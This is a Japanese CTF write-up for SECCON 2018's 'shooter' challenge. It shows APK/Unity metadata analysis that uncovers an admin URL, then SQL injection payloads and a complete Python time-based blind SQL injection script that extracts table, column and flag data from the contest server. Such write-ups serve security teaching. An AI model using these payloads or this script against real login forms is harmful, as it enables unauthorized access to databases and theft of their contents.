SECCON 2018 Quals - shooter
問題文
shooter
Enjoy the game!
添付ファイル:shooter.apk_d0d2ed9e7ba3c83354cbbf7ccf82541730b14a72
writeup
Stage1
apktoolでapkファイルを展開する。
> apktool.bat decode --no-src shooter.apk I: Using Apktool 2.2.2 on shooter.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: C:\Users\XXXX\AppData\Local\apktool\framework\1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Copying raw classes.dex file... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...
展開した中身を見るとUnityを使っていることがわかる。
GitHub - nevermoe/unity_metadata_loader
こちらのツールを使用して、metadataの中身を覗く。
metadataファイルは以下ディレクトリに存在している。
assets\bin\Data\Managed\Metadata\global-metadata.dat
unity_decoder.exeをassets\bin\Data\Managed\Metadata\
配下にコピーして実行すると、method_name.txt
とstring_literal.txt
のファイルが生成された。
string_literal.txt
の最後らへんに、URL文字列を発見。
(snip) shooter.pwn.seccon.jp staging.shooter.pwn.seccon.jp develop.shooter.pwn.seccon.jp /admin (snip)
http://staging.shooter.pwn.seccon.jp/admin
にアクセスする。
ログイン画面が表示された。
なお、http://shooter.pwn.seccon.jp/admin
とhttp://develop.shooter.pwn.seccon.jp/admin
にアクセスしても403である。
Stage2
「とりあえず生ビール」と注文するかの如く、ログイン画面のLogin IDとPasswordに「とりあえず記号を入力」してみる。なお、SECCON Beginners NEXTでも、入力フィールドを見たら記号を入れることは当然の仕草・お作法であるようなことを講師の方が言っていたので、常識的な行動のようだ。
エラー発生。SQLインジェクションの疑いあり。
切り分けすると、Passwordに'(シングルクォーテーション)
を入力するとエラーになることがわかる。
そこで、サーバ内でSQLの構文が成立するように、Passwordに' or 'A'='A
を入力すると、エラーにならず302リダイレクトが返却された。しかし、ログインはできない。また、where句の条件がTrueまたはFalseになるようなSQLの断片を入力しレスポンスを観察するが、違いは見られない。
よって、「Time-Based Blind SQL Injection」を使って、DBの中身を窃取することにする。
Login IDにadmin
、Passwordに' or if(1=1, sleep(3), false) or '
を入力すると、3秒待ってからレスポンスがあった。いけそうだ。
通常のBlind SQL Injectionと同じように、取得したいテーブル名、カラム名またはレコードを1文字ずつ特定する条件式を作成し、条件が成立する場合に3秒sleepさせ、レスポンスタイムを観察することで条件が成立したかどうか判定すればよい。
- information_schema.tableを使用して、DB内のテーブル名を確認する。
- information_schema.columnsを使用して、1で特定したテーブル名が持つカラムを確認する。
- 1と2で特定したテーブル名、カラム名を使用して、レコードの値を取得する。
1と2と3を実行するスクリプトは以下の通り。
コメントアウトを付け替えれば、それぞれ実行できる。
Cookie
とauthenticity_token
は、ログイン画面のレスポンスから採取してセットした。
import requests import string import time URL = 'http://staging.shooter.pwn.seccon.jp/admin/sessions' LETTERS = string.ascii_letters + string.digits + "!#$&()*+,-./:;<=>?@[\]^_`{|}~" def pretty_print_POST(req): print('{}\n{}\n{}\n\n{}'.format( req.method + ' ' + req.url, '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()), req.body, )) target = "" while True: flag = False for e in LETTERS: tmp = target + e req = requests.Request( 'POST', URL, data={ #"utf8" :"\xE2\x9C\x93", "authenticity_token": "CodCRpjgTlZzcK/ilr42WUwUASDdfoPJ/865RPWy3uOS2nzmtl9T3GnNG+2syYTY1GSc+vXODPykzOVx7n8JuA==", "login_id" : "admin", "commit" : "Login", # 0.実験用 #"password" : "' or if(1=1, sleep(3), false) or '" # 1.テーブル名を取得 "password" : "' or if(SUBSTRING((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,{})='{}', sleep(3), false) or 'a'='".format(len(tmp),tmp) # 2.列名を取得 #"password" : "' or if(SUBSTRING((select column_name from information_schema.columns where table_name='flags' limit 1,1),1,{})='{}', sleep(3), false) or 'a'='".format(len(tmp),tmp) # 3.レコードを取得 #"password" : "' or if(ASCII(SUBSTRING((select value from flags limit 0,1),{},1)) = {}, sleep(3), false) or 'a'='".format(len(tmp),ord(e)) }, headers={ "Content-Type" : "application/x-www-form-urlencoded", "Cookie" : "_shooter_session=l1NW1fRcRDMstlN7MZwJYOBBq2vtB17FLSdELAPhCdp2hV9OD%2FHVFErOBjU80QHxdVwp24TL1MQAAzaXO1dOMLJlzgw%2BnfePLKGRiIrVDhnXNlm7d8FlxJderqSJ8n5jthdfnkLSZStuufw7YRk%3D--KB76yzfpz0%2FRbJTc--vR4mc6IPyNAgJfhs7%2FbtSg%3D%3D" }, ) prepared = req.prepare() #pretty_print_POST(prepared) s = requests.Session() start = time.time() r = s.send(prepared, allow_redirects = False) elapsed_time = time.time() - start if elapsed_time > 3: target = tmp print(target) flag = True break #print(r.headers) #print(r.text) #print(elapsed_time) if flag: continue exit()
1を有効にした場合の実行結果は以下の通り。
f fl fla flag flags
flags
テーブルがあることがわかる。
なお、limit句を0,1にするとar_internal_metadata
テーブルをとってきた。
2を有効にした場合の実行結果は以下の通り。
v va val valu value
flags
テーブルにはvalue
カラムがあることがわかる。
なお、limit句を0,1にするとid
カラムをとってきた。
3を有効にした場合の実行結果は以下の通り。
MySQLは、通常、where句の等式で大文字小文字が区別できないため、ASCII関数を使用した。
S SE SEC SECC SECCO SECCON SECCON{ SECCON{1 SECCON{1N SECCON{1NV SECCON{1NV4 SECCON{1NV4L SECCON{1NV4L1 SECCON{1NV4L1D SECCON{1NV4L1D_ SECCON{1NV4L1D_4 SECCON{1NV4L1D_4D SECCON{1NV4L1D_4DM SECCON{1NV4L1D_4DM1 SECCON{1NV4L1D_4DM1N SECCON{1NV4L1D_4DM1N_ SECCON{1NV4L1D_4DM1N_P SECCON{1NV4L1D_4DM1N_P4 SECCON{1NV4L1D_4DM1N_P4G SECCON{1NV4L1D_4DM1N_P4G3 SECCON{1NV4L1D_4DM1N_P4G3_ SECCON{1NV4L1D_4DM1N_P4G3_4 SECCON{1NV4L1D_4DM1N_P4G3_4U SECCON{1NV4L1D_4DM1N_P4G3_4U+ SECCON{1NV4L1D_4DM1N_P4G3_4U+H SECCON{1NV4L1D_4DM1N_P4G3_4U+H3 SECCON{1NV4L1D_4DM1N_P4G3_4U+H3N SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1 SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4 SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T1 SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10 SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}
スクリプトを実行して、じわじわとフラグ文字列が得られていく光景を観察するのは、格別な時間ですね。
フラグゲット。
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}